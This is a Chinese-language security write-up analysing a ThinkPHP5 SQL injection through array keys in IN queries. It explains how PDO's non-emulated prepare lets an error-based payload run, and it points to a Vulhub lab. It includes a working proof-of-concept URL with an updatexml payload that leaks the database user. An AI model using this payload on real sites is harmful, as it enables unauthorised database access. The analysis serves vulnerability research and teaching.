ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析

from:[离别歌](https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html "离别歌")
刚才先知分享了一个漏洞（ https://xianzhi.aliyun.com/forum/read/1813.html ），文中说到这是一个信息泄露漏洞，但经过我的分析，除了泄露信息以外，这里其实是一个（鸡肋）SQL注入漏洞，似乎是一个不允许子查询的SQL注入点。

漏洞上下文如下：

```php
<?php namespace app\index\controller;

use app\index\model\User;

class Index
{
    public function index()
    {
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id', 'in', $ids)->select();
    }
}
```

如上述代码，如果我们控制了in语句的值位置，即可通过传入一个数组，来造成SQL注入漏洞。

文中已有分析，我就不多说了，但说一下为什么这是一个SQL注入漏洞。IN操作代码如下：

```php
<?php ...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
    // 处理带非单词字符的字段名
    $bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
    // IN 查询
    if ($value instanceof \Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = ':' . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(',', $array);
        } else {
            $zone = implode(',', $this->parseValue($value, $field));
        }
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
    }
```
可见，$bindName在前边进行了一次检测，正常来说是不会出现漏洞的。但如果$value是一个数组的情况下，这里会遍历$value，并将$k拼接进$bindName。

也就是说，我们控制了预编译SQL语句中的键名，也就说我们控制了预编译的SQL语句，这理论上是一个SQL注入漏洞。那么，为什么原文中说测试SQL注入失败呢？

这就是涉及到预编译的执行过程了。通常，PDO预编译执行过程分三步：

prepare($SQL) 编译SQL语句
bindValue($param, $value) 将value绑定到param的位置上
execute() 执行
这个漏洞实际上就是控制了第二步的$param变量，这个变量如果是一个SQL语句的话，那么在第二步的时候是会抛出错误的：
![](http://0day5.com/usr/uploads/2018/11/2417495997.png)

所以，这个错误“似乎”导致整个过程执行不到第三步，也就没法进行注入了。

但实际上，在预编译的时候，也就是第一步即可利用。我们可以做有一个实验。编写如下代码：
```php
<?php $params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);

try {
    $link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
    var_dump($e);
}
```
执行发现，虽然我只调用了prepare函数，但原SQL语句中的报错已经成功执行：

![](http://0day5.com/usr/uploads/2018/11/9958950.png)

究其原因，是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false。

这个选项涉及到PDO的“预处理”机制：因为不是所有数据库驱动都支持SQL预编译，所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理，那么PDO内部会模拟参数绑定的过程，SQL语句是在最后execute()的时候才发送给数据库执行；如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false，那么PDO不会模拟预处理，参数化绑定的整个过程都是和Mysql交互进行的。

非模拟预处理的情况下，参数化绑定过程分两步：第一步是prepare阶段，发送带有占位符的sql语句到mysql服务器（parsing->resolution），第二步是多次发送占位符参数给mysql服务器进行执行（多次执行optimization->execution）。

这时，假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了，那么就会直接由mysql那边抛出异常，不会再执行第二步。我们看看ThinkPHP5的默认配置：
```php
...
// PDO连接参数
protected $params = [
    PDO::ATTR_CASE              => PDO::CASE_NATURAL,
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
    PDO::ATTR_STRINGIFY_FETCHES => false,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
...
```
可见，这里的确设置了PDO::ATTR_EMULATE_PREPARES => false。所以，终上所述，我构造如下POC，即可利用报错注入，获取user()信息：

`http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231`

![](http://0day5.com/usr/uploads/2018/11/907405993.png)

但是，如果你将user()改成一个子查询语句，那么结果又会爆出Invalid parameter number: parameter was not defined的错误。因为没有过多研究，说一下我猜测：预编译的确是mysql服务端进行的，但是预编译的过程是不接触数据的 ，也就是说不会从表中将真实数据取出来，所以使用子查询的情况下不会触发报错；虽然预编译的过程不接触数据，但类似user()这样的数据库函数的值还是将会编译进SQL语句，所以这里执行并爆了出来。

总体来说，这个洞不是特别好用。期待有人能研究一下，推翻我的猜测，让这个漏洞真正好用起来。类似的触发SQL报错的位置我还看到另外一处，暂时就不说了。

我做了一个Vulhub的环境，大家可以自己测一测：`https://github.com/phith0n/vulhub/tree/master/thinkphp/in-sqlinjection`

ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析

Trending Articles

[奇怪机翻组] 双梦相牵 / ふたりの夢もち [RJ01259078] [WebRip] [1080P HEVC-10Bit AAC 2.0]...

HONDA CITY VTI-S 菜單分享

#新闻拍一拍# 新的摩尔定律：黄氏定律

一如既往的痴情能否打动月瓶金蝎？ (豆瓣月亮水瓶小组)

求購按摩椅~'~

「粉红」不是霸凌辜莞允杠部落客：我爽在哪？

Intel 7-10代集成显卡驱动31.0.101.2137完整版

涉Gotbit加密货币市场操纵台男纽约被捕

臺灣法治會計學會2025年第三季研討會

不靠姊姊！張柏芝弟弟開計程車維生

关门一家亲：习远平、张澜澜、徐才厚

剑指offer——24.二叉树中和为某一值的路径

苏珊米勒日晕05.11｜狮子鼓励孩子；处女相信自己 (豆瓣 SUSAN MILLER小组)

【台積電IT卓越新戰略5】台積IT組織5年三次大調整，要靠平臺工程讓DevOps創新再加速

【日语无字】春之钟.Haru.no.kane.1985.JAP.vhsrip.NoSub.by.xiongzaixia&vivi

美籍老公不讓步李愛綺兒子念公立小學

新华网这张照片绝了!直讽江泽民宋祖英淫乱组图

湖州师范学院音乐学院开发的 Kontakt 8 明代魏氏乐琵琶/瑟/月琴音源即将发布

Google Chrome Portable 140.0.7339.186 穩定版免安裝中文版 - Google 瀏覽器

免费翻墙节点大全